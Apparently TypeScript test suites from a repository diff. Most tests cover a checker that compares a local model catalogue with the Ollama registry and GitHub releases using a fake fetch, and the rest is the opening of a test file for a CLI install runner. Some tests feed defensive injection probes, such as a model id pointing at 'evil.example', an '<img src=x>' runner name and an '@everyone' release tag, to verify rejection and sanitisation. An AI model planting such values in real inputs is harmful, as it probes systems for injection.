/** The pull total a Mac reported for `qwen3.6:35b-a3b`, which the catalogue row stores. */
const MAC_PULL_TOTAL_35B = 23_105_798_956;
const PIN = {
version: '0.40.15',
url: 'https://github.com/ollama/ollama/releases/download/v0.40.15/ollama-darwin.tgz',
bytes: 185_971_671,
sha256: '607c79d5d6315ef9d896db83adde736a4c0057196329843544e79b95afb260a8',
};
const hex = (char: string): string => `sha256:${char.repeat(64)}`;
describe('the real registry bodies', () => {
it('carry the digests the registry and a Mac reported for them', () => {
expect(sha256Digest(REAL_LIST)).toBe('sha256:86b2d171ce90bbb2dcb081933565ec867ce523cdd274bd24c8cf1ef9185feb4f');
expect(sha256Digest(REAL_GGUF_MANIFEST)).toBe(REAL_GGUF_CHILD);
expect(sha256Digest(REAL_MLX_CONFIG)).toBe(
'sha256:577d7d4694896a245c8b00f62bf53a8f4720ded4eba83a8e2da30bb87583bd6b'
);
});
it('a Mac selects the mlx child of the real list, the one whose digest /api/tags reported', () => {
const list = JSON.parse(REAL_LIST.toString('utf8'));
expect(list.mediaType).toBe(MEDIA_TYPE_MANIFEST_LIST);
expect(selectMacChild(list.manifests).digest).toBe(REAL_MLX_CHILD);
});
it('the plain GGUF manifest totals its layers plus its config, 2% below what a Mac pulls', () => {
const manifest = JSON.parse(REAL_GGUF_MANIFEST.toString('utf8'));
expect(pullTotalBytes(manifest)).toBe(22_621_314_161 + 220);
expect(classifyModel(
{ id: 'qwen3.6:35b-a3b', bytes: MAC_PULL_TOTAL_35B },
{ mac: { bytes: pullTotalBytes(manifest), digest: REAL_GGUF_CHILD } },
'0.40.15'
)).toEqual([expect.objectContaining({ kind: 'size' })]);
});
});
describe('splitModelId', () => {
it('splits name and tag', () => {
expect(splitModelId('qwen3.6:35b-a3b')).toEqual({ name: 'qwen3.6', tag: '35b-a3b' });
});
it.each(['qwen3.6', ':35b', 'qwen3.6:', 'evil.example/x:y'])('refuses %s', (id) => {
expect(() => splitModelId(id)).toThrow(CheckFailure);
});
});
describe('pullTotalBytes', () => {
const manifest = (layers: unknown, config: unknown = { size: 250 }) => ({ config, layers });
it('adds every layer and the config', () => {
expect(pullTotalBytes(manifest([{ size: 1000 }, { size: 24 }]))).toBe(1274);
});
it.each([
['no layers', manifest([])],
['layers that are not an array', manifest('x')],
['a layer without a size', manifest([{ digest: 'x' }])],
['a negative size', manifest([{ size: -1 }])],
['a size given as text', manifest([{ size: '1000' }])],
['a fractional size', manifest([{ size: 1.5 }])],
['no config size', manifest([{ size: 1 }], {})],
['a total past the safe integers', manifest([{ size: Number.MAX_SAFE_INTEGER }, { size: 10 }])],
])('refuses %s', (_label, value) => {
expect(() => pullTotalBytes(value)).toThrow(CheckFailure);
});
});
describe('selectMacChild', () => {
const child = (runner: string, digest: string, mediaType?: string) => ({
...(mediaType === undefined ? { mediaType: MEDIA_TYPE_MANIFEST } : { mediaType }),
digest,
runner,
});
it('prefers mlx, then llamacpp, then ggml, whatever the list order', () => {
expect(selectMacChild([child('ggml', 'g'), child('llamacpp', 'l'), child('mlx', 'm')]).digest).toBe('m');
expect(selectMacChild([child('ggml', 'g'), child('llamacpp', 'l')]).digest).toBe('l');
expect(selectMacChild([child('ggml', 'g')]).digest).toBe('g');
});
it('takes the first child of a runner and compares runners as Ollama does', () => {
expect(selectMacChild([child(' MLX ', 'first'), child('mlx', 'second')]).digest).toBe('first');
});
it('skips a nested list and a runner a Mac does not run', () => {
expect(selectMacChild([child('mlx', 'nested', MEDIA_TYPE_MANIFEST_LIST), child('llamacpp', 'l')]).digest).toBe('l');
expect(selectMacChild([child('vllm', 'v')])).toBeUndefined();
expect(selectMacChild('not a list')).toBeUndefined();
});
it('accepts a child without a mediaType', () => {
expect(selectMacChild([{ digest: 'm', runner: 'mlx' }]).digest).toBe('m');
});
});
describe('small helpers', () => {
it('metadataForConfig mirrors Ollama: safetensors runs on mlx, gguf on ggml', () => {
expect(metadataForConfig({ model_format: 'safetensors' })).toEqual({ runner: 'mlx', format: 'safetensors' });
expect(metadataForConfig({ model_format: 'gguf' })).toEqual({ runner: 'ggml', format: 'gguf' });
expect(metadataForConfig({})).toEqual({ runner: '', format: '' });
});
it('catalogueRunner names a build in the catalogue words: mlx, or llamacpp for any GGUF build', () => {
expect(catalogueRunner('mlx')).toBe('mlx');
expect(catalogueRunner(' MLX ')).toBe('mlx');
expect(catalogueRunner('llamacpp')).toBe('llamacpp');
// A GGUF manifest that names no runner is `ggml` to Ollama, and llama-server runs it all the same.
expect(catalogueRunner('ggml')).toBe('llamacpp');
expect(catalogueRunner(metadataForConfig({ model_format: 'gguf' }).runner)).toBe('llamacpp');
for (const other of ['', 'vllm', '<img>', undefined, 3]) expect(catalogueRunner(other)).toBeUndefined();
});
it('normalizeDigest accepts the prefixed and the bare form and nothing else', () => {
const bare = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
expect(normalizeDigest(bare)).toBe(REAL_MLX_CHILD);
expect(normalizeDigest(REAL_MLX_CHILD.toUpperCase().replace('SHA256', 'sha256'))).toBe(REAL_MLX_CHILD);
expect(normalizeDigest('sha256:abc')).toBeUndefined();
expect(normalizeDigest('sha512:' + 'a'.repeat(64))).toBeUndefined();
expect(normalizeDigest(42)).toBeUndefined();
});
it('parses and compares versions', () => {
expect(parseVersion('v0.40.15')).toEqual([0, 40, 15]);
expect(parseVersion('0.32.12')).toEqual([0, 32, 12]);
expect(parseVersion('0.40.15-rc1')).toBeUndefined();
expect(compareVersions('0.40.15', 'v0.40.15')).toBe(0);
expect(compareVersions('0.41.0', '0.40.15')).toBeGreaterThan(0);
expect(compareVersions('0.9.0', '0.40.15')).toBeLessThan(0);
expect(() => compareVersions('latest', '0.40.15')).toThrow(CheckFailure);
});
it('formats numbers without the locale', () => {
expect(groupDigits(23_105_798_956)).toBe('23,105,798,956');
expect(groupDigits(250)).toBe('250');
expect(formatPercent(0.16614)).toBe('+16.61%');
expect(formatPercent(-0.02097)).toBe('-2.10%');
});
it('the tolerance is a small fraction of the row', () => {
expect(SIZE_TOLERANCE_FRACTION).toBeLessThanOrEqual(0.01);
expect(withinTolerance(1_000_000, 1_001_000)).toBe(true);
expect(withinTolerance(1_000_000, 1_001_001)).toBe(false);
});
});
describe('classifyModel', () => {
const observed = (bytes: number, extra: Record<string, unknown> = {}) => ({
mac: { bytes, digest: REAL_MLX_CHILD, runner: 'mlx', format: 'safetensors', ...extra },
});
it('a row that holds the pull total itself is clean', () => {
expect(classifyModel({ id: 'qwen3.6:35b-a3b', bytes: MAC_PULL_TOTAL_35B }, observed(MAC_PULL_TOTAL_35B), '0.40.15')).toEqual([]);
});
it('a row sized from its layers alone is clean: the config is a few hundred bytes', () => {
expect(classifyModel({ id: 'gpt-oss:20b', bytes: 13_793_441_427 }, observed(13_793_441_566), '0.40.15')).toEqual([]);
});
it('flags the two real drifts of 2026-11-08: the Mac gets the mlx build', () => {
const nine = classifyModel({ id: 'qwen3.5:9b', bytes: 6_550_825_373 }, observed(7_639_229_431), '0.40.15');
expect(nine).toEqual([expect.objectContaining({ kind: 'size', expected: 6_550_825_373, actual: 7_639_229_431 })]);
expect(nine[0].fraction).toBeCloseTo(0.1661, 3);
const dense = classifyModel({ id: 'qwen3.8:27b', bytes: 17_741_871_939 }, observed(18_174_721_847), '0.40.15');
expect(dense[0].kind).toBe('size');
expect(dense[0].fraction).toBeCloseTo(0.0244, 3);
});
it('a tag that is gone is only that', () => {
expect(classifyModel({ id: 'x:y', bytes: 1 }, { gone: true }, '0.40.15')).toEqual([{ kind: 'gone' }]);
});
it('compares a pinned digest in either form', () => {
const bare = REAL_MLX_CHILD.slice('sha256:'.length);
expect(classifyModel({ id: 'a:b', bytes: 100, digest: bare }, observed(100), '0.40.15')).toEqual([]);
expect(classifyModel({ id: 'a:b', bytes: 100, digest: hex('1') }, observed(100), '0.40.15')).toEqual([
{ kind: 'digest', expected: hex('1'), actual: REAL_MLX_CHILD },
]);
expect(classifyModel({ id: 'a:b', bytes: 100, digest: 'garbage' }, observed(100), '0.40.15')[0]).toMatchObject({
kind: 'digest',
expected: 'not a sha256 digest',
});
});
it('holds a row that names its runner to the runner of the build a Mac pulls', () => {
// The same size, another runner: the row's memory figures no longer describe what runs.
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'llamacpp' }, observed(100), '0.40.15')).toEqual([
{ kind: 'runner', expected: 'llamacpp', actual: 'mlx' },
]);
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, observed(100), '0.40.15')).toEqual([]);
// A GGUF build is a llamacpp row's, whether its manifest says llamacpp or nothing (ggml).
for (const runner of ['llamacpp', 'ggml']) {
const gguf = observed(100, { runner, format: 'gguf' });
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'llamacpp' }, gguf, '0.40.15'), runner).toEqual([]);
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, gguf, '0.40.15'), runner).toEqual([
{ kind: 'runner', expected: 'mlx', actual: 'llamacpp' },
]);
}
// A runner Ollama would not run on a Mac is never taken for the row's.
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, observed(100, { runner: '' }), '0.40.15')).toEqual([
{ kind: 'runner', expected: 'mlx', actual: 'unknown' },
]);
// A catalogue without the field (before rows named their runner) is never held to one.
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { runner: 'llamacpp' }), '0.40.15')).toEqual([]);
});
it('flags a build that needs a newer runtime than the pin, and only that', () => {
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { requires: '0.41.0' }), '0.40.15')).toEqual([
{ kind: 'requires', requires: '0.41.0', pinned: '0.40.15' },
]);
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { requires: '0.40.15' }), '0.40.15')).toEqual([]);
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100), '0.40.15')).toEqual([]);
});
});
describe('classifyRuntime', () => {
const release = (version: string, asset?: { size: number; digest?: string }) => ({ version, publishedOn: '2026-11-03', asset });
const matching = { size: PIN.bytes, digest: `sha256:${PIN.sha256}` };
it('is clean when the pin is the newest release and its archive is unchanged', () => {
expect(classifyRuntime(PIN, { latest: release('0.40.15', matching), pinned: release('0.40.15', matching) })).toEqual([]);
});
it('a size that matches and no digest in the API is not drift', () => {
expect(
classifyRuntime(PIN, { latest: release('0.40.15'), pinned: release('0.40.15', { size: PIN.bytes }) })
).toEqual([]);
});
it('reports a newer release', () => {
expect(classifyRuntime(PIN, { latest: release('0.41.2'), pinned: release('0.40.15', matching) })).toEqual([
{ kind: 'behind', pinned: '0.40.15', latest: '0.41.2' },
]);
});
it('reports a pinned release or archive that is gone or changed', () => {
const latest = release('0.40.15');
expect(classifyRuntime(PIN, { latest, pinned: { gone: true } })).toEqual([{ kind: 'pinned-release-gone' }]);
expect(classifyRuntime(PIN, { latest, pinned: release('0.40.15') })).toEqual([{ kind: 'pinned-asset-gone' }]);
expect(
classifyRuntime(PIN, { latest, pinned: release('0.40.15', { size: PIN.bytes + 1, digest: matching.digest }) })[0].kind
).toBe('pinned-asset-changed');
expect(
classifyRuntime(PIN, { latest, pinned: release('0.40.15', { size: PIN.bytes, digest: hex('2') }) })[0].kind
).toBe('pinned-asset-changed');
});
});
// ---------- Exit code and report ----------
function baseResult(overrides: Record<string, unknown> = {}) {
const mac = { bytes: 100, digest: hex('a'), runner: 'mlx', format: 'safetensors', requires: '0.32.4' };
return {
checkedAt: '2026-11-09 06:00 UTC',
catalogue: { updated: '2026-11-06' },
pin: { version: '0.40.15' },
errors: [] as string[],
models: [{ id: 'a:b', bytes: 100, findings: [] as unknown[], observed: { tagDigest: hex('b'), variants: [mac], mac } }],
runtime: {
assetName: 'ollama-darwin.tgz',
findings: [] as unknown[],
observed: {
latest: { version: '0.40.15', publishedOn: '2026-11-03', asset: { size: PIN.bytes, digest: `sha256:${PIN.sha256}` } },
pinned: { version: '0.40.15', publishedOn: '2026-11-03', asset: { size: PIN.bytes, digest: `sha256:${PIN.sha256}` } },
},
} as Record<string, unknown>,
...overrides,
};
}
describe('exitCodeFor', () => {
it('is 0 when nothing drifted', () => {
expect(exitCodeFor(baseResult())).toBe(0);
});
it('is 1 for drift in a model or in the runtime', () => {
const result = baseResult();
result.models[0].findings = [{ kind: 'gone' }];
expect(exitCodeFor(result)).toBe(1);
const runtime = baseResult();
(runtime.runtime.findings as unknown[]).push({ kind: 'behind', pinned: '0.40.15', latest: '0.41.0' });
expect(exitCodeFor(runtime)).toBe(1);
});
it('is 2 when any part failed, even with drift elsewhere', () => {
const result = baseResult();
result.models[0].findings = [{ kind: 'gone' }];
result.models.push({ id: 'c:d', bytes: 1, findings: [], error: 'timed out' } as never);
expect(exitCodeFor(result)).toBe(2);
expect(exitCodeFor(baseResult({ runtime: { error: 'GitHub answered 403', findings: [] } }))).toBe(2);
expect(exitCodeFor(baseResult({ errors: ['the catalogue did not load'] }))).toBe(2);
});
});
describe('renderReport', () => {
it('says clean, and lists the digests to pin in full with the build a Mac pulls', () => {
const report = renderReport(baseResult());
expect(report).toMatch(/^# Local model catalogue: weekly check\n/);
expect(report).toContain('**Clean**');
expect(report).toContain(`| \`a:b\` | mlx, safetensors | \`${hex('b')}\` | \`${hex('a')}\` |`);
expect(report).toContain('as the row field `digest`');
expect(report).not.toContain('Pin first');
expect(report).toContain('## Not checked');
});
it('asks to pin a row with measured figures first', () => {
const result = baseResult();
(result.models[0] as Record<string, unknown>).figures = 'measured';
expect(renderReport(result)).toContain('Pin first: `a:b`.');
});
it('names a size drift with both figures and every build the tag offers', () => {
const gguf = { bytes: 90, digest: hex('c'), runner: 'llamacpp', format: 'gguf' };
const mac = { bytes: 7_639_229_431, digest: hex('a'), runner: 'mlx', format: 'safetensors' };
const result = baseResult({
models: [
{
id: 'qwen3.5:9b',
bytes: 6_550_825_373,
findings: classifyModel({ id: 'qwen3.5:9b', bytes: 6_550_825_373 }, { mac }, '0.40.15'),
observed: { tagDigest: hex('b'), variants: [gguf, mac], mac },
},
],
});
const report = renderReport(result);
expect(report).toContain('**Drift found**: 1 of 1 models.');
expect(report).toContain('| `qwen3.5:9b` | 6,550,825,373 | 7,639,229,431 | +16.61% | mlx, safetensors |');
expect(report).toContain('mlx, safetensors 7,639,229,431 (a Mac takes this one)');
expect(report).toContain('llamacpp, gguf 90');
});
it('names a runner change, what it means for the figures, and every build the tag offers', () => {
const gguf = { bytes: 100, digest: hex('c'), runner: 'llamacpp', format: 'gguf' };
const mac = { bytes: 100, digest: hex('a'), runner: 'mlx', format: 'safetensors' };
const result = baseResult({
models: [
{
id: 'qwen3.6:35b-a3b-mtp-q4_k_m',
bytes: 100,
findings: classifyModel({ id: 'x:y', bytes: 100, runner: 'llamacpp' }, { mac }, '0.40.15'),
observed: { tagDigest: hex('b'), variants: [gguf, mac], mac },
},
],
});
const report = renderReport(result);
expect(report).toContain('**Drift found**: 1 of 1 models.');
expect(report).toContain('| runner changed |');
expect(report).toContain(
"`qwen3.6:35b-a3b-mtp-q4_k_m`: a Mac now pulls the mlx, safetensors build, which runs on `mlx`, while the row's `runner` says `llamacpp`."
);
expect(report).toContain('recompute them for the new runner');
expect(report).toContain('mlx, safetensors 100 (a Mac takes this one)');
});
it('says the check failed and prints no verdict of clean', () => {
const result = baseResult({ runtime: { error: 'GitHub answered 403 for the newest release', findings: [] } });
const report = renderReport(result);
expect(report).toContain('**The check failed**');
expect(report).not.toContain('**Clean**');
expect(report).toContain('GitHub answered 403');
});
it('never prints a runner or format outside the known names', () => {
const mac = { bytes: 100, digest: hex('a'), runner: '<img src=x>', format: '@someone' };
const report = renderReport(baseResult({ models: [{ id: 'a:b', bytes: 100, findings: [], observed: { tagDigest: hex('b'), variants: [mac], mac } }] }));
expect(report).toContain('unknown, unknown');
expect(report).not.toContain('<img');
expect(report).not.toContain('@someone');
});
it('keeps an error on one line and without backticks', () => {
const result = baseResult({ errors: ['line one\nline `two`\u0007'] });
expect(renderReport(result)).toContain("- Check failed: line one line 'two'\n");
});
it('contains no em-dash', () => {
expect(renderReport(baseResult())).not.toContain(String.fromCharCode(0x2014));
});
});
// ---------- IO against a fake registry ----------
interface Seen {
url: string;
headers: Record<string, string>;
signal: unknown;
}
/**
* A fake registry and GitHub API. `routes` maps a URL to a body (string or Buffer) or a status
* number. Every request is recorded.
*/
function fakeFetch(routes: Record<string, string | Buffer | number | (() => Response)>) {
const seen: Seen[] = [];
const fetchFn = async (url: string, init: { headers: Record<string, string>; signal: unknown }) => {
seen.push({ url, headers: init.headers, signal: init.signal });
const route = routes[url];
if (route === undefined) return new Response('not found', { status: 404 });
if (typeof route === 'number') return new Response('', { status: route });
if (typeof route === 'function') return route();
return new Response(route, { status: 200 });
};
return { fetchFn, seen };
}
const REG = 'https://registry.ollama.ai/v2/library';
const GH = 'https://api.github.com/repos/ollama/ollama/releases';
/** A small registry: one tag that is a list (mlx + llamacpp), one plain tag. Digests computed. */
function buildRegistry() {
const json = (value: unknown): Buffer => Buffer.from(JSON.stringify(value));
const mlxConfig = json({ model_format: 'safetensors', requires: '0.32.4' });
const ggufConfig = json({ model_format: 'gguf', requires: '0.30.0' });
const layers = (sizes: number[], tag: string) =>
sizes.map((size, i) => ({ mediaType: 'application/vnd.ollama.image.tensor', digest: hex(String((i + tag.length) % 10)), size }));
const mlxChild = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST,
config: { digest: sha256Digest(mlxConfig), size: mlxConfig.length },
layers: layers([700, 300], 'mlx'),
});
const ggufChild = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST,
config: { digest: sha256Digest(ggufConfig), size: ggufConfig.length },
layers: layers([600], 'gguf'),
runner: 'llamacpp',
format: 'gguf',
});
const list = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST_LIST,
manifests: [
{ mediaType: MEDIA_TYPE_MANIFEST, digest: sha256Digest(mlxChild), runner: 'mlx', format: 'safetensors' },
{ mediaType: MEDIA_TYPE_MANIFEST, digest: sha256Digest(ggufChild), runner: 'llamacpp', format: 'gguf' },
],
});
const plain = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST,
config: { digest: sha256Digest(ggufConfig), size: ggufConfig.length },
layers: layers([500], 'plain'),
});
const release = (tag: string) =>
json({
tag_name: tag,
published_at: '2026-11-03T22:52:31Z',
assets: [{ name: 'ollama-darwin.tgz', size: PIN.bytes, digest: `sha256:${PIN.sha256}` }],
});
const routes: Record<string, string | Buffer | number | (() => Response)> = {
[`${REG}/listed/manifests/1b`]: list,
[`${REG}/listed/blobs/${sha256Digest(mlxChild)}`]: mlxChild,
[`${REG}/listed/blobs/${sha256Digest(ggufChild)}`]: ggufChild,
[`${REG}/listed/blobs/${sha256Digest(mlxConfig)}`]: mlxConfig,
[`${REG}/plain/manifests/2b`]: plain,
[`${REG}/plain/blobs/${sha256Digest(ggufConfig)}`]: ggufConfig,
[`${GH}/latest`]: release('v0.40.15'),
[`${GH}/tags/v0.40.15`]: release('v0.40.15'),
};
const layerDigests = new Set(
[mlxChild, ggufChild, plain].flatMap((body) => JSON.parse(body.toString()).layers.map((l: { digest: string }) => l.digest))
);
return {
routes,
layerDigests,
sizes: { mlx: 1000 + mlxConfig.length, gguf: 600 + ggufConfig.length, plain: 500 + ggufConfig.length },
digests: { list: sha256Digest(list), mlxChild: sha256Digest(mlxChild), plain: sha256Digest(plain) },
};
}
const catalogOf = (models: { id: string; bytes: number; digest?: string; figures?: string; runner?: string }[]) => ({
updated: '2026-11-06',
models,
});
const NOW = new Date('2026-11-09T06:00:00Z');
describe('inspectModel', () => {
it('reads a list the way a Mac does: the mlx child, its total, its requires', async () => {
const registry = buildRegistry();
const { fetchFn, seen } = fakeFetch(registry.routes);
const observed = await inspectModel(fetchFn, 'listed:1b');
expect(observed.tagDigest).toBe(registry.digests.list);
expect(observed.mac).toMatchObject({
runner: 'mlx',
format: 'safetensors',
digest: registry.digests.mlxChild,
bytes: registry.sizes.mlx,
requires: '0.32.4',
});
expect(observed.variants.map((variant: { runner: string }) => variant.runner)).toEqual(['mlx', 'llamacpp']);
expect(seen[0].headers.Accept).toBe(MANIFEST_ACCEPT);
expect(seen[0].headers.Accept).toContain(MEDIA_TYPE_MANIFEST_LIST);
expect(seen.every((request) => request.signal instanceof AbortSignal)).toBe(true);
});
it('fills a plain manifest without runner metadata from its config', async () => {
const registry = buildRegistry();
const { fetchFn } = fakeFetch(registry.routes);
const observed = await inspectModel(fetchFn, 'plain:2b');
expect(observed.mac).toMatchObject({ runner: 'ggml', format: 'gguf', digest: registry.digests.plain, bytes: registry.sizes.plain });
expect(observed.tagDigest).toBe(observed.mac.digest);
});
it('a 404 for the manifest is a tag that is gone', async () => {
const { fetchFn } = fakeFetch({});
expect(await inspectModel(fetchFn, 'missing:tag')).toEqual({ gone: true });
});
it('refuses a blob whose body does not match its digest', async () => {
const registry = buildRegistry();
const mlxUrl = `${REG}/listed/blobs/${registry.digests.mlxChild}`;
const { fetchFn } = fakeFetch({ ...registry.routes, [mlxUrl]: '{"tampered":true}' });
await expect(inspectModel(fetchFn, 'listed:1b')).rejects.toThrow(/does not match its digest/);
});
it('refuses a list with no build a Mac runs', async () => {
const list = JSON.stringify({ mediaType: MEDIA_TYPE_MANIFEST_LIST, manifests: [{ digest: hex('1'), runner: 'vllm' }] });
const { fetchFn } = fakeFetch({ [`${REG}/odd/manifests/x`]: list });
await expect(inspectModel(fetchFn, 'odd:x')).rejects.toThrow(/no build a Mac runs/);
});
it('a server error is a failed check, not a tag that is gone', async () => {
const { fetchFn } = fakeFetch({ [`${REG}/flaky/manifests/x`]: 503 });
await expect(inspectModel(fetchFn, 'flaky:x')).rejects.toThrow(/answered 503/);
});
});
describe('boundedGet', () => {
it('refuses a declared body over the cap before reading it', async () => {
const { fetchFn } = fakeFetch({
'https://x.test/big': () => new Response('{}', { status: 200, headers: { 'content-length': String(MAX_MANIFEST_BYTES + 1) } }),
});
await expect(boundedGet(fetchFn, 'https://x.test/big', { maxBytes: MAX_MANIFEST_BYTES })).rejects.toThrow(/over the cap/);
});
it('refuses a streamed body that grows past the cap', async () => {
const stream = new ReadableStream({
start(controller) {
controller.enqueue(new Uint8Array(600));
controller.enqueue(new Uint8Array(600));
controller.close();
},
});
const { fetchFn } = fakeFetch({ 'https://x.test/stream': () => new Response(stream, { status: 200 }) });
await expect(boundedGet(fetchFn, 'https://x.test/stream', { maxBytes: 1000 })).rejects.toThrow(/over the cap/);
});
it('turns a network error into a CheckFailure', async () => {
const fetchFn = async () => {
throw new TypeError('fetch failed', { cause: new Error('getaddrinfo ENOTFOUND registry.ollama.ai') });
};
await expect(boundedGet(fetchFn, 'https://registry.ollama.ai/v2/', { maxBytes: 10 })).rejects.toThrow(/ENOTFOUND/);
});
});
describe('runCheck', () => {
it('reports drift, and fetches only manifests, child manifests, configs and the two releases', async () => {
const registry = buildRegistry();
const { fetchFn, seen } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([
// Sized from the llamacpp child: a Mac pulls the mlx one, so this is drift.
{ id: 'listed:1b', bytes: registry.sizes.gguf },
{ id: 'plain:2b', bytes: registry.sizes.plain },
{ id: 'missing:tag', bytes: 1000 },
]),
pin: PIN,
fetchFn,
now: NOW,
githubToken: 'token-value',
});
expect(result.models.map((model: { findings: { kind: string }[] }) => model.findings.map((f) => f.kind))).toEqual([
['size'],
[],
['gone'],
]);
expect(result.runtime.findings).toEqual([]);
expect(exitCodeFor(result)).toBe(1);
for (const request of seen) {
const blob = /\/blobs\/(sha256:[0-9a-f]{64})$/.exec(request.url);
if (blob) expect(registry.layerDigests.has(blob[1])).toBe(false);
const isGitHub = request.url.startsWith('https://api.github.com/');
expect(request.headers.Authorization === 'Bearer token-value').toBe(isGitHub);
}
expect(seen.some((request) => request.url === `${GH}/latest`)).toBe(true);
expect(seen.some((request) => request.url === `${GH}/tags/v0.40.15`)).toBe(true);
const report = renderReport(result);
expect(report).toContain('**Drift found**: 2 of 3 models.');
expect(report).toContain('`missing:tag`: the registry no longer has this tag');
});
it('holds rows that name their runner to the build a Mac pulls, a plain GGUF manifest included', async () => {
const registry = buildRegistry();
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([
// The right size, the wrong runner: a Mac pulls the mlx child of this list.
{ id: 'listed:1b', bytes: registry.sizes.mlx, runner: 'llamacpp' },
// A manifest that names no runner is a GGUF build: a llamacpp row, clean.
{ id: 'plain:2b', bytes: registry.sizes.plain, runner: 'llamacpp' },
]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(result.models.map((model: { findings: unknown[] }) => model.findings)).toEqual([
[{ kind: 'runner', expected: 'llamacpp', actual: 'mlx' }],
[],
]);
expect(exitCodeFor(result)).toBe(1);
expect(renderReport(result)).toContain('| runner changed |');
});
it('sends no Authorization header at all without a token', async () => {
const registry = buildRegistry();
const { fetchFn, seen } = fakeFetch(registry.routes);
await runCheck({ catalog: catalogOf([{ id: 'plain:2b', bytes: registry.sizes.plain }]), pin: PIN, fetchFn, now: NOW });
expect(seen.some((request) => 'Authorization' in request.headers)).toBe(false);
});
it('is clean when every row matches what a Mac pulls', async () => {
const registry = buildRegistry();
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([
{ id: 'listed:1b', bytes: registry.sizes.mlx, digest: registry.digests.mlxChild, figures: 'measured' },
{ id: 'plain:2b', bytes: registry.sizes.plain, figures: 'measured' },
]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(exitCodeFor(result)).toBe(0);
const report = renderReport(result);
expect(report).toContain('**Clean**');
// The pinned row is not offered for pinning again; the unpinned one is.
expect(report).not.toContain('| `listed:1b` | mlx');
expect(report).toContain(`| \`plain:2b\` | ggml, gguf | \`${registry.digests.plain}\``);
// Only the measured row that has no digest yet is asked for first.
expect(report).toContain('Pin first: `plain:2b`.');
});
it('a newer runtime release is drift', async () => {
const registry = buildRegistry();
registry.routes[`${GH}/latest`] = JSON.stringify({ tag_name: 'v0.41.0', published_at: '2026-11-10T00:00:00Z', assets: [] });
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({ catalog: catalogOf([{ id: 'plain:2b', bytes: registry.sizes.plain }]), pin: PIN, fetchFn, now: NOW });
expect(result.runtime.findings).toEqual([{ kind: 'behind', pinned: '0.40.15', latest: '0.41.0' }]);
expect(exitCodeFor(result)).toBe(1);
expect(renderReport(result)).toContain('Ollama 0.41.0 is out; the pin is 0.40.15.');
});
it('a rate-limited GitHub API fails the check (2) and keeps what the models showed', async () => {
const registry = buildRegistry();
registry.routes[`${GH}/latest`] = 403;
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([{ id: 'listed:1b', bytes: registry.sizes.gguf }]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(exitCodeFor(result)).toBe(2);
expect(result.models[0].findings[0].kind).toBe('size');
expect(renderReport(result)).toContain('**The check failed**');
});
it('a release tag that is not vX.Y.Z fails the check instead of reaching the report', async () => {
const registry = buildRegistry();
registry.routes[`${GH}/latest`] = JSON.stringify({ tag_name: 'v1.0.0 @everyone', assets: [] });
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({ catalog: catalogOf([]), pin: PIN, fetchFn, now: NOW });
expect(exitCodeFor(result)).toBe(2);
expect(renderReport(result)).not.toContain('@everyone');
});
it('a network failure for one row fails the whole check', async () => {
const registry = buildRegistry();
const fetchFn = async (url: string, init: { headers: Record<string, string>; signal: unknown }) => {
if (url.includes('/plain/')) throw new TypeError('fetch failed');
return fakeFetch(registry.routes).fetchFn(url, init);
};
const result = await runCheck({
catalog: catalogOf([
{ id: 'listed:1b', bytes: registry.sizes.mlx },
{ id: 'plain:2b', bytes: registry.sizes.plain },
]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(result.models[1].error).toMatch(/fetch failed/);
expect(exitCodeFor(result)).toBe(2);
});
});
+298
View File
@@ -0,0 +1,298 @@
/**
* @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
* what is new in it since it left the registry route, and what both of its callers rely on.
*
* The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
* test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
* - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
* change what the local model install job runs;
* - the one install slot per CLI is shared: while the job holds it, the route answers 409;
* - an abort signal kills the installer's process group, and one that is already aborted
* starts nothing;
* - `forgetResolvedCli()` drops both caches.
*
* Nothing is really spawned: `spawn` is a fake child.
*
* Port: N/A (app.inject(), no live server).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { EventEmitter } from 'node:events';
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { createRouteTestHarness } from './routes/_route-test-utils.js';
import {
CLI_INSTALL_TIMEOUT_MS,
forgetResolvedCli,
runInstallCommand,
stockInstallCommand,
tryBeginCliInstall,
} from '../src/cli-install-runner.js';
import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import {
getCli,
registryFilePath,
reloadCliRegistry,
resolveInstallCommandForPlatform,
} from '../src/config/cli-registry/registry.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
spawnMock: vi.fn(),
invalidateBinariesSpy: vi.fn(),
invalidateIdSpy: vi.fn(),
}));
vi.mock('node:child_process', async (importOriginal) => {
const actual = await importOriginal<typeof import('node:child_process')>();
return { ...actual, spawn: spawnMock };
});
